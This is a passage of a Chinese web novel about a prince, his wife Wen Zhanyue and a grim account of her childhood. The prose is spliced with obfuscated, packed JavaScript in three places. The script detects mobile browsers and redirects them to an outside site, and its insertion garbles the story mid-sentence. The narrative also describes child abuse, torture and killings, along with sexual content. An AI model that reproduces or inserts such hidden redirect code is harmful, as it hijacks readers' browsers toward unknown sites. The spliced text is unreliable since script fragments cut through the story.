“谢王爷。”紫英坐下,脸色凝重道:“王爷吩咐属下查的事情已经有眉目了,但事情太复杂,属下怕书信说不清楚,只能贸然来京都,当面告知王爷。” “都查出什么了?” “此事说来话长。”紫英组织了一下语言。 “只能查到王妃八岁以前的事情,八岁以后王妃好像是凭空消失了一般,再一次出现,就是在温州城替嫁。” “而且,王爷最好有个心理准备,王妃八岁前的事情,也十分的骇人听闻。” 紫英和青澜一样,跟在容妄身边多年,什么样的事情没见过,能从她嘴里听到骇人听闻四个字,足以说明事情的严重性。 “说吧,本王准备好了。”容妄端坐,摩挲着手里的扳指。 紫英点点头,将自己调查来的事情一一和盘托出。 “王妃被温家人丢弃后,被一个偏远村子里的猎户收养,那夫妻俩是个好人,但多年来一直没有孩子,所以捡到王妃后,他们对这个孩子十分疼爱。” “但所有幸福的生活都在王妃八岁那年戛然而止。” 紫英叹了口气,接着道:“王妃八岁时,夫妻俩不知怎么得罪了村里的恶霸,这个恶霸有点背景,大家都得罪不起,那恶霸日日都去猎户家里逼迫猎户的妻子,后来又将心思放在了王妃身上。” “他见王妃是个美人胚子,便想把王妃养在身边,等自己玩腻了就卖到青楼里去。” “夫妻俩肯定不同意,拼死都要护住王妃,没想到真的闹出了人命,夫妇俩都**,恶霸还是把王妃带走了。” 吧嗒一声,容妄手里的扳指碎了。 紫英有些不忍说下去了,她迟疑道:“王爷还要接着听吗?” 容妄阴沉着脸,冷道:“继续。” “你先喝口水吧。”青澜拎起茶壶,倒了一杯水给紫英递过来。 “慢慢说,不急。” 紫英喝完茶水,又接着道:“那恶霸怕王妃逃走,用铁链拴着她,不给她饭吃,也不给她水喝,等着王妃快要渴死的时候,让王妃跪着求他,取悦他。” ——砰! 这下碎的不是扳指了,而是整张书桌。 容妄的脸色已经不能再用难看去形容,他的五脏六腑都在燃烧,急需杀个人来宣泄一下怒火。 怪不得他的阿月是如今这样的性子。 经历了这些事,没彻底疯掉已经是她仁慈了。 青澜也没想到自家王妃居然经历了这么多,他忽然就有些理解王妃了。 紫英的表情也十分复杂。 “王爷,您还要听吗?” “继续。”容妄压着心里的不适。 紫英点点头,接着道:“王妃不肯,那恶霸就会变本加厉地鞭打她,所有人都以为王妃会死在恶霸手中,没想到……” 像是想起了什么可怕的画面,紫英浑身一抖。 一旁的青澜稳住她,“什么东西这么可怕?” “王妃杀了恶霸全家,上下二十口人,全部都死于非命。” “你疯了吧?”青澜明显不信,“王妃那个时候才八岁,八岁的孩子懂什么,她就算有**的心,也没有**的本事。” “具体情况不得而知,但我调查出来的的确如此。”紫英沉下脸来。 “村民们找到王妃的时候,她正把恶霸的肠子心肝掏出来,所以村民们全都认为王妃是妖怪,想要将王妃一把火烧死!” “什么?”青澜拔高语调,“活生生地烧死一个八岁的孩子吗?” “是的。”紫英点头,“一开始村长并不同意,但架不住村里所有人的逼迫,最后只能选择牺牲王妃。” “后来呢?”青澜追问。 “不知道了。”紫英摇摇头,“后来关于王妃的线索就此断掉了,她最近一次出现,就是在温州城替长姐温宁霜出嫁。” “对了,还有一点。”紫英眼中闪过一丝惧意。 “王妃的线索断了以后,那个村子一夜之间没了。” “什么叫做没了?”青澜感觉到一股寒意袭来。 “就是字面意义上的没了,有人屠了全村上百余口人,还一把火将村子烧了个一干二净,我之所以能查到这些消息,是因为村长的孙子是唯一一个活下来的人。”紫英顿了顿,接着说道。 “事发当天,他因为替王妃求情,被关在地牢里,没想到竟然因此逃过一劫。” “好人有好报吧。”青澜唏嘘。 容妄浑身僵硬,散发着一股冷冽的杀气。 他以为温斩月只是被遗弃了,没想到居然还有这样的经历,如若这些经历放在他的身上,恐怕他比温斩月行事还要乖张些。 “你们都下去吧,本王想静静。”容妄疲惫的挥挥手。 紫英和青澜相互看了一眼,都没再多说什么,转身离开了书房。 容妄一个人在书房里,看着满地的桌子碎片,心中烦躁更甚,在锦绣阁生的气早就不剩什么了。 只剩下满满的心疼。 他的王妃那么小,就遭遇了这些非人的折磨,对于人有着天然的不信任也实属正常。 更何况,自己也没有真的做得很好,让她彻底的放下心防去相信自己。 书房太小,容妄觉得十分燥热。 他推开房门想要出去走走。 此时明月高悬,也不知道是心中有意,还是怎么了,等到他反应过来的时候,人已经站在锦绣阁的院门外了。 成亲的喜字还未取下,喜烛也在有节奏地燃烧着。 但容妄就站在门外,迟迟没有进去的打算。 锦绣阁内,温斩月也睡不着,她站在书桌前,看着准备好送给容妄的新婚礼物。 两次成亲,两次新婚之夜都搞砸了。 第一次是容妄,第二次就是她了。 温斩月手指摸索着面前的新婚礼物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801026|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她感觉自己好像咂摸出了一点味道,但不知道是不是精准。 她感觉容妄和梨落生气的点,是一样的。 可她真没觉得有什么,反正也死不了,只是受点伤而已就能达到自己的目的,这简直就是计划的最优解。 为什么两人会生气? 平心而论,如果是他们俩去做她要做的事情,她会生气吗? 温斩月试着想了想,觉得自己好像不会。 因为她只在意结果。 瓜甜不甜的先扭下来尝一尝,事成不成的先去做了再说,从小到大,她一直都是这样的性子,义父也是这么教她的。 可看梨落和容妄的反应,她似乎是错了。 但她的确想不出来,自己错在哪里。 温斩月在锦绣阁的书桌前坐了一夜,容妄就立在院外,透过窗上的剪影看了温斩月一夜。 两人心里面都藏着事,各自消化了一晚上。 梨落来锦绣阁搬东西的时候,碰上了院门口的容妄。 冷不丁的有个人站在那里,梨落被吓了一跳。 “王爷在这里做什么?” “没什么。”容妄眼底淤青,他偏过头,看了一眼梨落。 “你与王妃是什么时候认识的?” “很小了。”梨落疑惑,“王爷问这个做什么?” “没什么,就是想了解王妃一些。” “哦。”虽疑惑,但梨落还是隐去了重要的部分,把能说的都告知容妄了。 “她是我捡来的,之前经历了什么我并不知道,捡来以后就一直养在我的身边,但这么多年,她一直没有放弃寻找自己的亲生父母,前不久才找到的,结果就被温家人推出来替嫁了。” 容妄眉头一皱。 他知道梨落在说谎,但他并不打算拆穿。 不过,梨落的出现给了他一个新思路,虽然查不到温斩月八岁以后的行踪,但让紫英从梨落入手,应该不成问题。 容妄没再多说,转身离开了锦绣阁。 他刚一走,梨落便快步走了进去,推开门看到同样一夜未睡的温斩月,又把自己给吓了一跳。 “你们夫妇俩在玩什么把戏?”梨落走过来。 “容妄在外面站了一晚,你在房内坐了一晚,是在玩一二三木头人吗?谁先动,谁就输了。” “他在院外?” “是啊。”梨落双手托腮,“但这不重要,我有两件事要跟你同步一下。” “第一件事,我把王府旁边的宅子买下来了,今日就打算搬出去,以后饭点的时候来,每三天跟你汇报一下王府的情况,和不夜城的盈利亏损。” “梨落……” “你听我说完。”梨落堵住温斩月的嘴。 “我搬出去自然是有我自己的打算,而且我决定好的事情,就不会再更改,你也用不着再去劝我,现在还有更棘手的事等着你。” “什么?” “容妄对你起疑心了。”梨落叹了口气。 “虽然早就知道会有这么一天,但这一天来得也太快了,他问了我一些你的情况,我回答得不是很好,他有可能会顺着我这条线查下去,到时候,你们俩……” “这点不用担心。”温斩月打断。 “义父不会让他查到的。” “也是。”梨落想了想,觉得的确没什么好担忧的。 她的好父亲是最会谋算的人,走一步,算十步,容妄真要顺着她这条线往下查,估计也是什么都查不到的。 “既如此,那就没别的事了,对了,特权书的事你上点心,帮我去催催容妄,这都多久了,还没拿来,这个男人,效率不行。” “我知道了。”温斩月没再挽留。 “需要我帮你收拾东西吗?” “不用。”梨落摆手,“总共也没有多少东西,我很快就收拾完了,对了,还有个事差点忘了。” “我昨天送林清霜回家,告诉了**的事情,林清霜和她母亲都很意外,两人对了一下信息,只能猜测出这件事情是林素一房妾室做的,但现在没有证据,估计也就不了了之了,我告诉林清霜让她抽空来找你,你可以治她的毒。” “我知道了。”温斩月点头。 “你搬走以后,派人盯着定国公府,这件事情还没完。” 第30章 我是不是很可怕 梨落沉吟片刻,道:“你还是怀疑秦落雪?” “不是她,但一定是她身边的人。”温斩月呼出一口气,“我不是非要知道义父所有的行为,但我怕他埋下的棋子会对容妄不利。” “我知道了,你放心,我去办。” 梨落的东西并不多,很快就收拾完了,走的时候没让温斩月送。 温斩月也不矫情,躺在床上眯了一会,等到晚些时候,拿着本该在昨晚就送给容妄的新婚礼物前去书房。 人刚走出锦绣阁的门,就看到容妄揣着什么东西朝着她走来。 “做什么去?”容妄走过来,目光落在温斩月手里的礼盒上。 “送给谁的?” “你。”温斩月往前一推。 “本来昨晚就应该送给你的,但……” “现在送也不迟。”容妄接过礼盒并没有打开,而是从怀里掏出一个卷轴,递给温斩月。 “打开看看。” 温斩月接过卷轴,打开后,发现竟然是特权书。 “还真让你弄到手了。” “答应过你的,本王不会忘。” “那谢了。”温斩月将卷轴卷起来,“回头我就差人给梨落送过去,她看到这个一定会很高兴的。” “那你呢?你高兴吗?” “臣妾当然高兴。”温斩月明媚一笑。 “王爷不打开看看臣妾为王爷准备的礼物吗?” 容妄点头,打开盒子,取出里面的东西。 “这是什么?**吗?” 容妄上过战场,自然也知道箭**,但手里的这个东西跟箭**又不太像,倒像是一些外邦人用的火铳。 “臣妾还没取名字呢。”温斩月拉起容妄的手,朝着北院的屋檐瞄准。 “王爷信不信,臣妾能打下屋檐的砖瓦。” “不信。”容妄轻笑一声,“且不说两者的距离,夜王府的每一片砖瓦都是高温烧制而成,不是普通力量能击碎的。” 容妄的话音刚落,温斩月就拉着容妄扣动了**。 只听砰的一声,那北院屋檐上的瓦片瞬时四分五散。 “怎么样?服吗?”温斩月松开手,一副自己赌赢了的模样。 好不得意,好不骄傲。 看得容妄心里泛着秋波,比击碎了瓦片还要心动。 “看呆了?”温斩月伸出手在容妄的眼前晃了晃,“这东西梨落把它称之为枪,但我觉得这个名字不好听,既然东西都送给王爷了,不如就由王爷给它取名吧。” “就叫逐月吧。”容妄小心翼翼地将逐月收起来。 “它的威力不容小觑,不敢想象,要是能成批制作,用在战场上几乎就是一个绝对的大杀器。” “王爷别想了。”温斩月直接否定。 “逐月的材料难找,图纸更是只有一份,东西都是梨落给臣妾的,臣妾只是把它做出来了而已。” “臣妾知道王爷武功高强,可能用不到逐月,但臣妾还是希望,以后它能保护王爷。” “臣妾希望,王爷可以一直活在臣妾身边。” 温斩月身上永远都有一种撩人不自知的魅劲儿,这些平平无奇的话是她随口一说,但却在容妄的心里掀起了滔天巨浪。 从来都没有人可以像他的阿月一样,如此,爱他。 容妄压抑着情欲,将温斩月横抱起。 “王爷做什么?”突然双脚腾空,温斩月有些许的不适应。 她双手勾着容妄的脖颈,娇嗔道:“自从遇见王爷,臣妾的双腿好像是摆设一般,动不动就抱,王爷是有瘾吗?” “是。”容妄抱着温斩月朝锦绣阁走去。 “昨晚错过的洞房花烛,现在补上。” 两片温热相接,彼此都在汲取温度,掠夺呼吸。 大抵是情感压抑的过了头,容妄像是**一般攻城略地,将温斩月身上的衣裳尽数褪去,只是手在摸到温斩月腰间的疤痕时,陡然停下了动作。 “阿月……”容妄在床上压着温斩月,声音喑哑。 “背过身好不好?” “我……”温斩月有些迟疑。 她能感受到容妄粗粝的指腹在她的疤痕处游走,那原本没有知觉的地方,像是被点了火一样,烧得她内心狂热。 “会很丑,很难看。” “本王不嫌弃。” 容妄的脸上带着面具,可他的眼神却真挚又诚恳。 这样直白的心疼让温斩月心里一热,冰封的地方似乎在慢慢地融化。 她背过身去,将大片的肌肤裸露在容妄的眼底。 那是一片很长很狰狞的疤痕,饶是见惯了伤口的容妄也忍不住倒吸一口冷气,他的指腹触摸着疤痕,心里有点慢热的疼。 “这是火烧留下的吗?”容妄声音里带着怜惜。 “你不用疑惑本王如何知道,温家人来的时候,本王便找人调查了你,阿月,本王不是怀疑你,只是想知道你的过去。” 容妄这么坦然,温斩月自然也没多计较。 “不是。”温斩月摇头,“是我自己划的。” “我出生的时候,腰间有一块彼岸花的图腾,有妖僧路过我家,说我是个灾星,我的父母听信了他的话,将我遗弃。” “总有人说我是丧门星,说我只会给人带来灾难。” “后来,我就把图腾用刀划掉,本以为这样做,就再也不会带给别人灾难了。” “但没想到……”温斩月低下头。 “王爷若是调查过我,应该知道我的养父母已经**,但有一点王爷应该不知道,他们并不是死在恶霸手里。” “是我杀的。” 温斩月冷不丁的承认,容妄猛地缩回手,眉头紧蹙。 “他们……是不是对你不好?” “并没有。”温斩月轻笑,动手捡起一旁的衣裳,给自己套上。 “相反的,他们对我很好,是当时这个世上对我最好的人,但也是我亲手了结了他们。” 温斩月转过身来,捧起容妄的脸。 “我是不是很可怕?” “还好。”容妄抓住温斩月的手。 “只要你不背叛本王,就算你真是个十恶不赦的**魔,本王亦能爱你永久。” 容妄这句话带着足够的真心,温斩月头一次不想开玩笑了。 她缩回手,躲在床边的角落里。 “村里的恶霸一开始盯上的就是我,他折磨人的手段很多,当着我的面打断我养父的腿,折辱我的养母。” “若是他真的下**,倒是也能给他们一个痛快,但他偏不。” “他就是纯折磨人,我养母还剩最后一口气的时候,他竟然要把她活剥了,说新鲜的皮做出来的灯笼最好看。” 这些话温斩月从来都没有跟人讲过,包括梨落。 字字句句落在容妄的耳朵里,他的心仿佛被人凿穿了一个大窟窿,空荡荡的,血流不止。 “所以我把他们都杀啦。”温斩月仰起头,笑了笑。 “虽然我只有八岁,但我的手很快,他们没受什么苦。” “别笑了。”容妄伸出手,将温斩月圈在怀里,“你笑的本王心里疼。” “都是本王的错。”容妄紧紧的抱着温斩月。 “要是时光能倒流就好了,本王一定在温家遗弃你的时候找到你,将你带回来,养在身边,绝不让你再受半点苦。” 温斩月垂下眼眸。 她能感受到容妄的温度,让她不自觉地多了几分暖意。 “王爷。”温斩月不安分的小手伸进容妄的怀里,“继续好不好?刚才做到一半停下来,臣妾心里**难消。” “好。”容妄应下。 密密麻麻的吻像是**一般落在温斩月的身上。 她能感觉,容妄亲吻着她后腰处的伤痕,一下一下,动作轻柔,十分怜惜。 这种被人珍视的感觉很奇特,但温斩月并不排斥,甚至还有一点喜欢。 她转过身来,抱着容妄,想要渴求更多。 容妄也没辜负她的期望,折腾到半夜,终于沉沉睡去。 容妄搂着怀里的人,看着床上刺眼的猩红,他的喉结上下滚动,身体再一次的燥热起来。 他在温斩月的额头落下一吻。 “睡吧,本王以后会保护好你,不会再让你受欺负。” 这一晚的温斩月睡得格外的香甜,她再一次梦到了小时候被火烧,但这一次她再也不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你要知道,这个世上从来都不存在,恰好,刚刚好,凑巧这样的事情,告诉林清霜的人是秦落雪,若她俩关系很好,是值得信任的手帕交,这倒是也能说的过去,但你忘了林清霜怎么说的?” “她说两人只是认识,关系一般。” “没错。”温斩月点头,“一个关系一般的人,为什么要来提醒你这个?不排除秦落雪是因为对我的厌恶而被人做局了,但这个人敢利用秦落雪一次,就会有第二次,第三次,我们只要守株待兔,一定能抓到这个人。” 温斩月分析的头头是道,梨落心里的慌张顿时少了一些。 “那现在怎么办?看父亲的意思,是执意要风展和林清霜成亲,这难题又抛回给了容妄。” “也不算难。”温斩月笑道,“眼下不同于之前。” “哪里不同?”梨落不解。 温斩月伸手敲了一下梨落的脑袋。 “当然是你给的转机,是你说林清霜长得丑是因为娘胎里带的毒,如果我解了她的毒,林素或许不会逼着风展娶他姑娘,毕竟不会砸手里,而风展说不定也不会再排斥这桩婚事,这都是可以商量的。” “那你还等什么?解毒啊。” “急什么,我有东西要给你。”温斩月来到书桌前,打开抽屉,从里面拿出容妄昨日交给她的卷轴。 “特权书,容妄拿到了。” “我去!”梨落忍不住惊呼一声. “他也太厉害了,果然是位高权重的夜王殿下哎,没想到这么快就让他搞到了特权书,有了这个玩意儿,那我们的不夜城指日可待啊。” “林清霜的事我可不管了哈,你自己看着办,我要忙着去建造我的商业帝国了。” 拿了特权书,梨落跑得比兔子还快。 温斩月摇摇头,没再说什么,吩咐春夜备车,打算亲自去一趟林府,不然等林清霜真的因为谣言寻了死,那一切可就真没转圜的余地了。 第31章 本宫会不会越俎代庖 林府,翠竹苑里。 林清霜蜷缩在床上,眼泪止不住地往下掉。 一旁的王氏更是心疼,但她除了给女儿擦擦眼泪,什么都做不了。 “都怪娘,要不是我,你也不至于会这样。”王氏哭哑了嗓子。 林清霜摇摇头,“不怪母亲,是别人下的毒,母亲也是受害者。” “我的宝贝女儿。”王氏慈爱地摸着林清霜的脑袋。 她本来就觉得自己亏欠女儿良多,知道女儿长得丑是因为从娘胎里带得毒以后,她心里的愧疚就更重了。 要是她能小心一点,她娘俩何至于此啊。 “瞧瞧你们这样子。”二姨娘张氏带着自己的女儿大摇大摆地从外面走进来。 “如今外面流言满天飞,我要是你啊,早就找一棵树把自己吊**!” “娘说的是呢。”一旁的林轻盈附和道:“大姐姐争着抢着要去参加夜王殿下的婚宴,我还以为她是想对夜王投怀送抱呢,没想到居然盯上了风展将军。” “风展将军一表人才,怎么会娶一个丑八怪,要我说,这满大街的流言就是大姐姐自己散播的,目的啊,就是为了逼风展将军娶她。” 林轻盈说话很不客气,林清霜被气到一直咳嗽。 王氏将女儿护在身后,气红了脸。 “你胡说八道什么?霜儿绝不是这样的人,她再怎么样也不会拿自己的清白去赌,林轻盈,我如今还是林府的主母,你一个庶女这么嚣张,就不怕我问罪于你吗?” “哎呦呦,我怕**。”林轻盈不屑一顾。 “整个林府谁不知道我娘才是父亲最爱的人,以往还顾及着你主母的情面,但现在,你养出的好女儿传出这样的流言来,父亲废了你是迟早的事,你得意不了几天了。” “你少说两句。”张氏斥责了一声,但眼底却带着笑意。 “姐姐别生气,轻盈不懂事,您不要跟个孩子一般计较,我今日前来,可是为了给霜儿找一条出路的。” “你会有那么好心?” “瞧姐姐说的,我一直都是个好人啊。”张氏走过来,嫌恶地扫了一眼林清霜。 “霜儿现在这样子,风展将军肯定是不会娶她的,她的名声坏了,放眼整个京都城,恐怕都没有人会要她。” “不过不用担心,我这里正好有一桩好姻缘等着霜儿呢。” “说起来也是巧,我老家有个四十多岁的表兄,瞎了一只眼,上个月刚刚**发妻,这个时候把霜儿嫁过去当填房,那是再好不过了!” 这话说得太不是人了,王氏没忍住,想要甩张氏一个耳光,却被张氏反击。 响亮清脆的耳光打在王氏脸上,林清霜再也忍不住了。 “你这个**,我杀了你!” “**了,**了!”见状,林轻盈急忙大喊大叫。 林素从外面进来时,便看到林清霜喊打喊杀的样子,他本就不喜欢这个女儿,如今更是厌恶至极。 连带着自己的发妻王氏,也一并厌恶了去。 “老爷,霜儿她要杀了我!”张氏躲在林素的身后,娇滴滴道。 “就是就是,大姐姐刚才也太可怕了。”林轻盈也来添乱,“父亲,你可要好好劝劝大姐姐,我们也是为了她好,她不领情就算了,居然还要杀了我们。” 林轻盈和她娘张氏一个德行,惯会这些勾栏做派,偏偏林素就吃这一套,当场就给了林清霜一巴掌。 “闹什么闹!”林素呵斥。 “从小到大,你要什么给什么,连夜王殿下的婚宴也让你去了,没想到你还不知足,闹出这样的丑闻就算了,如今更是要以下犯上,诛杀亲妹和姨娘吗?” 林清霜捂着脸,猩红着一双眼。 尽管早就知道父亲总是偏心的,可如今还是会觉得心里疼。 “你看什么看,不服吗?”林素扬再度起手。 “老爷!”王氏急忙拦住,“老爷,你这是做什么啊?是她们母女欺人太甚,霜儿只是为了出气,你要打就打我好了,最好是能打死我,这样也能为你的心肝宝贝让路了!” 一个两个的都不听话,林素只觉得气血翻涌。 他抽出旁边侍卫的佩剑,“既然你们都不想活了,今日我就清理门户,了结了你俩!” 林清霜存了死意。 事已至此,她的确是不想活了。 反正烂命一条,活着也没有什么好。 “慢着!” 就在林素的剑快要落下时,一支发钗飞速而来,那剑瞬间成了两半。 “林大人好威风啊。”温斩月几个大跨步走进来。 林素没见过温斩月,看到来人穿得华贵,不似普通人,只得先压下怒气,询问道:“来者何人?我林某的家事也要管吗?” “放肆!”一旁的春夜直接道:“看到夜王妃还不下跪,是想要个大不敬之罪吗?” 林府的人没见过温斩月,但都听过夜王妃,那可是夜王殿下的人,得罪了夜王,他们少不了要受罪。 一群人乌泱泱的跪下去给温斩月请安,温斩月直接越过众人,来到林清霜的跟前。 她伸出手,将林清霜扶了起来。 “你受委屈了。” 温斩月看着母女俩同款的红肿脸庞,不用想也知道到底发生了什么。 “王妃何必可怜她。”林轻盈嘴快道:“她长得那么丑,还敢去勾引风展将军,我看将军是宁死都不会娶她的。” 温斩月偏过头,仅仅只是一个眼神,便吓得林轻盈闭上了嘴。 温斩月懒得跟这群没规矩的人计较,不过,她竟然决定要帮林清霜,便不会随便就让她被人欺负了去。 “本宫替你做主。”温斩月拍拍林清霜的手。 随后看了一眼春夜,春夜吩咐人搬来一把椅子,温斩月走到椅子跟前坐下,倨傲的目光扫过在场的每一个人。 “林家没有规矩,本宫愿意管教,林大人不会觉得本宫越俎代庖吧。” 这番话说得嚣张又狂傲,仿佛在说,就算你觉得本宫越俎代庖,本宫也不会改的。 林素自然也是看出了这一点,抹了一把汗的同时,又急忙摇头。 “轻盈不懂事,得罪了王妃,是该罚。” “只有她不懂事吗?”温斩月招招手。 春夜立刻意会,吩咐手底下的侍卫把张氏和林轻盈一起拉过来跪下。 温斩月手捏着林轻盈的下巴。 “你这张小脸倒是生得好。”温斩月眼里透着阴狠,“不过,就是不知道肿起来还是不是和现在一样好看。” 温斩月松开手,朝着春夜吩咐道:“掌嘴,没有本宫的吩咐不许停,哦,对了,掌嘴的时候注意着点,别把林小姐弄破相了。” “是,王妃。” 春夜带着侍卫和嬷嬷上门的,那些嬷嬷们自然知道怎么**更疼,但却不会毁了姑娘家的容貌。 此起彼伏的巴掌声一下接一下。 张氏和林轻盈都有些受不住,急忙求饶。 “我错了王妃,求王妃放过我们吧。” “父亲,父亲救救我,我好疼啊。” “老爷,你跟王妃求求情吧,真的不能再打了,再打下去我都不能见人了。” 林素也想求情,但看到温斩月的样子,只得把话压了下去。 一旁的林清霜和王氏都愣住了,她们被人欺负惯了,从来都不知道原来有人撑腰是这样一种感觉。 “王妃……”林清霜投来感激的眼神。 温斩月抬起眼皮,“收收你那不值钱的样子。” 她不耐烦地掏了掏耳朵,看着林素有火不敢发的样子,心里爽了一些。 “林大人,这两位可都是替你受过,她们以下犯上,全都是因为你宠妾灭妻,惯得她们不成样子。” “但你是朝廷命官,本宫无权处置你,只能朝她们下手了。” “你心疼她们的时候,也多想想自己,本宫虽不能打杀你,却能在王爷面前吹吹枕边风,让他参你一本。” “你说,到时候圣上怪罪下来,你又有几条命呢?” 温斩月说话的语气不紧不慢,但却带着绝对的威严,让人不敢反驳。 林素一听,当场就跪了下去。 “都是臣的错,是臣不好,往后臣一定好好对待发妻嫡女,绝不让**钻了空子。” “你很识相。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808341|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>温斩月抬手,示意春夜停下来。 张氏和林轻盈的脸早就不能看了,红肿得十分厉害。 “还愣着干什么?赶紧去找个大夫来啊,不然林二小姐要是真的破相了,可就买不上什么好价钱了。”春夜嘲讽道。 林素急忙让人把张氏和林轻盈带了下去。 温斩月白了一眼林素,拉着林清霜和张氏进了屋,林素站在门口,走也不是,不走也不是,只能规规矩矩的等着。 到了房内,林清霜刚要跪下谢恩,就被温斩月阻止了。 “犯不上那些虚礼。”温斩月看了看林清霜的脸。 “今日本宫来就为两件事,第一是你的脸,本宫会配好解药给你送来,三天换一次药方,不出一月,你便能好。” “另外就是外面的那些流言。”温斩月抬眸,盯着林清霜。 “本宫问你,你是真想嫁给风展吗?” “我知道自己配不上。”林清霜低下头,“赖上风将军,只是我的权宜之计,但没想到他的确是个好人,风言风语是谁散播出去的,我真的不知道,如果风将军愿意娶我,我自然也是肯的,但如果他不愿意,我绝不勉强。” 林清霜抬起头,目光对上温斩月的审视。 “我答应过王妃,绝对不会让风将军这样的人,死在我的算计里。” 林清霜说的诚恳,温斩月也猜的准确。 她站起身来,拍拍林清霜的肩膀。 “好好活着,照顾好你的娘亲,就算是将来你嫁不了风展,本宫也会为你安排一桩好的亲事,流言蜚语不必介怀。” “只要你扛过去,未来的每一天都是好的。” “谢谢王妃。”林清霜泣不成声。 她明明听秦落雪说过,夜王妃心狠手辣,最最阴毒,所以她才同意在婚宴上搞事情,没想到到头来,她还要被王妃护着。 “我不该……” “好了,不许说了。” 似乎料到林清霜要道歉,温斩月直接打断。 “婚宴之事本宫自有定夺,你不必再去想,好好休息吧,养好身子,本宫才好为你解毒。” 温斩月没有在林府逗留,她吩咐了几句,给林清霜留下了一个嬷嬷和侍卫,便从林府离开了。 走的时候,再三警告了林素。 林素心里虽有火,但碍着温斩月夜王妃的名头,也只能暂时忍下来。 离开林府后,温斩月前去药铺抓了一些解毒的药,又买了一些生息粉的配方。 路过绸缎庄的时候,看到了定国公府的马车。 她心里掂量着,思索再三后,还是打算进去瞧一瞧。 但走进去转了一圈都没看到定国公府的人。 温斩月找来伙计,给了他一锭银子。 “抱歉,我好像看到定国公府的马车在外面,我与秦二小姐是手帕之交,路过这里,想问问她是不是就在店里?” 那伙计当然看得出来温斩月不是秦落雪的手帕之交,这番说辞只是个由头。 只不过银子太香,再加上温斩月穿的雍容华贵,一看就知道身份不小,他区区一个小伙计哪里得罪得了。 “秦二小姐在后院,我不能带您去,但可以告诉您怎么走。” “您见到她,可千万别说是我说的啊,不然我的差事可就保不住了。”说着,伙计指了一条路给温斩月。 “您顺着这条道儿一直走,到一个拐角处,右拐,然后再左拐,就到了。” “多谢。”温斩月点点头。 她顺着伙计的路线走过去,还真在后院里看到了秦落雪。 但除了秦落雪之外,还有一个男人,两人拉拉扯扯的不成样子。 温斩月隔得远,听不见,也看得不是很真切。 但能瞧得出来男人身形高大,长得不错,身上穿的虽然只是普通的布衣,但看上却有股出尘脱俗的气质。 为了能听清两人谈话,温斩月垫脚飞上屋顶,悄咪咪地摸了过去。 怕被两人发现,她特意猫着腰。 “你以后不要再来见我了,我们之间没什么好说的,今日是我最后一次来赴约,以后还请你恪守本分。”秦落雪的声音传来。 第32章 你为什么和他在一起? 男人抓住了秦落雪的手腕,神情急切。 “落雪,我现在已经有了官职,只要你再等等我,你想要的一切我也能给你。” “我等不了了,谢洲白。”秦落雪果决道。 “和你在边疆的日子是我最欢喜的时候,但那个时候我只是秦落雪,现在不一样了,我是定国公府的秦家二小姐,我跟你没有以后!” 名叫谢洲白的男人黯然神伤,眼尾飘红,看上去好不可怜。 “为什么这么对我?”谢洲白闭眼,伤心至极。 “就因为我没有权势吗?” “是。”秦落雪点头,“我跟你不一样,你以后的日子可以靠着科举,靠着封官,但我是女子,我除了嫁一个厉害的男人,我还能靠什么?” “你可以依靠我。” “不了。”秦落雪果断地转身。 “我没有给你讲过我母亲的事,但现在我可以告诉你,当初我的母亲就是赌我父亲对她一颗真心,傻傻地被骗,生下我这样爹不疼娘不爱的孽种。” “所以谢洲白,我不会再步入我娘的后尘,我不会让我的孩子从小就在边疆流浪。” “我只会将权势都捏在自己的手里,我嫁的人爱不爱我不重要,重要的事有权有势,可以为我和我的孩子铺路。” “但现在,谢洲白。”秦落雪抹掉眼角的泪。 “你还不够有权势,而我等不起了。” 这个世上最残忍的事情大概就是在最无能为力的年纪,遇上了最想保护一生的人。 谢洲白心有不甘,可他也无法阻止秦落雪走向更好的生活。 要怪就怪他自己不够强大,为什么到现在也只是一个普普通通的小官,如果他能权倾朝野,他的落雪不会嫁给旁人。 大概是怕自己再等下去会心软,秦落雪擦完眼泪,道了一句珍重后便头也不回地离开了。 谢洲白站在原地,久久不能回过神来。 温斩月待在屋檐上,双腿都要蹲麻了,就在她准备现身时,谢洲白却离开了绸缎庄。 出了绸缎庄,温斩月吩咐春夜先回去,自己则是暗中跟上了谢洲白。 拐过三个街口,谢洲白最终停在了画杏坊的门口。 这是一家勾栏瓦舍,来这里的男**多都是寻欢作乐的,温斩月亲眼看着谢洲白走进去。 她刚才还在想,秦落雪真不是个东西,就这么辜负了一个深情爱她的男人,没想到这个男人也不过如此。 前脚刚被秦落雪拒绝,后脚就出来嫖。 温斩月如今顶着夜王妃的身份,不好太过放肆,她只能现买一套男装,外加一张银质面具。换好衣服,戴着面具,温斩月也进入了画杏坊。 此时华灯初上,画杏坊内,好不热闹。 “爷,陪我喝一杯嘛,我的酒甜,你尝尝,很好喝的~” “你喝完她的酒,就来尝尝我好不好?我的滋味可比酒好多了,你试试就知道有多美妙。” “真不要脸,抢我的客人。” “酬金分你一半。” “好说好说,那你带走吧。” 